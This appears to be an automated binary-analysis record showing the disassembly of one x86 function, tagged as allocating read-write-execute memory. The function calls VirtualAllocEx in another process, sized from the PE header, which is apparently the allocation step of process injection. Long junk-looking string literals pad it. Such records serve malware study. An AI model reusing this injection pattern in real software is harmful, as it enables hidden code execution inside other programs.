Function at 0x403f00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415ed0
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x478010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], str.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
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x42d1af
push 0x40
push 0x3000
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x4794b4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], str.Yrxssg8pramc51nSDBUrDqG79N4cuBRP19TwXUaY9sY3cozoMlSlJtqi3Ky4q4FFw2YWhULmS9DAmhW0Dhn1PRkNVIT94eh5l3PWBlzGMKjAwu18wU89zyEFbvwnvzu6MIq9uxSj0QmHuGpQhiMOOQe6b0dFDphnH8AAFgEMF8wxKlTWe3UzIoBumabS8SJlrW3ObvrTYlXIBMqWgoUrH7Ts930NoY85TprPkFtA9kcK6933L77RrjTO0KEeBvOosnh4FsA1kYa83oX8CzHMSz3AmvwPI4lN0eWp4RjzMj9jifwXrTCz1OuFsCuAbMSFqMyV788ONLG1ceHpNF37IDYDOesUqTuHE5WwPvokyOGawNl13mfk36EKCaayQDHidDLONTH0pBoiIFTjFJRVysMFbahnwIYax76CWl9smvG4X4lGBNVj22ItGMklenpTyonnpSPKoGfh9HisdRKvs7RCmjEzqmz2DEjbwBXgo6zRORTOmuY932HXjMskjVGVzm1MOAOMeo0VhkSQjtDza7PKD4J1KRxRCbQx4UMvI4IEvmAwNU0HpJTBoIiakuu2w7ytbHi2DkIrbMUI4bJ8AgCzy7Ptlzsssocfl5PjGbOLGUkaIRM6I4O26nPKMtY71va8Sc3GAmGh8zSvRStqYymOToAYk28Pje95ndAWUoMLi8dj5lqFNae7PNggoABmQAcFziddizraGswYmHAWLjtvH3PO43ChDSG8qEJ1fWMwvUCPaCe4IsbYgi63aL296Gji8t6iglM3EqQ6p4YrF3AUevGubGel8P5F2YglLke6JnaPsdM9PzW2ho4Mjcca4pnpIrjRbhK84I549zTSDwBw2ruLvgvNHLQgW4nXOhMOFSIEIST1Hq2T4T7nljhkjxxGI9F81eDTfPJoV8KwRNH6TMRGbkgHzDKIdYwe1Lnie4pTWCF2bcer1RvW0MJMFcb5MPix1jY2JyxLqTfQP9gDQHEvxHykbEN634rGc2bkANAqpJoQjfyNMAHTfzdXcGVKNXuLERzvjPvdtelBf5VqbBWLerIedffG2U5bryA3adTkAHEisgjnjAsTkQFwdzG9UgSLCxsx4XSTeMeM2oDWqa8e5RhaB9A3SoEK84hKEEcWgkhvc8YMIGIPJ4hmgIAUwGhKTaVzgp9m3smCp8uWmjMUex3cxiCYDyDJPza3WMBTozkQl2nTrUIQdTuEca02grL8JPxktV3hznqBQxVt1cL62g6BsSlxzMJHphqKgsv2hK9V0lwR7AXkJhWO3gzC11IDzV3LtwADFUnvvP9oL9yBKGgKKrkd03gPxwC4dcgynyV5xywj7FkUTx1052cKN8R4tbS8EPADUg0Pck7HqBBTpEAmATjBBT87dYYzTwdj6dtV1e2tQY4Q5xQQggba1EYereImO0nmg9V3s07Lb9b5DuubsaSFA0eNcTCeP22351yxxrpQ2ejHWRXCGwVwjhLzDsntWscRvvbiSE46Lqr3ri5vwLgNwJwBYoiRP0kuK3JCPJqDY0DOw7sljQnu3OMCEdHy68HIJyPHa39fqc25xqyK3couai9Xio35l8tw3vAB9dgm6iQmM7CvrLYzAavCHuPm4XxX3QJiu870aypvvPNuV3pnwG9eV2FIKsHiI5yCkWlU1j5MV00MD1usArD4dAcRR8xSNdVlh6WqgQjSeM0yncFh
mov eax, dword [ebp - 0x14]
jmp 0x403fb2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4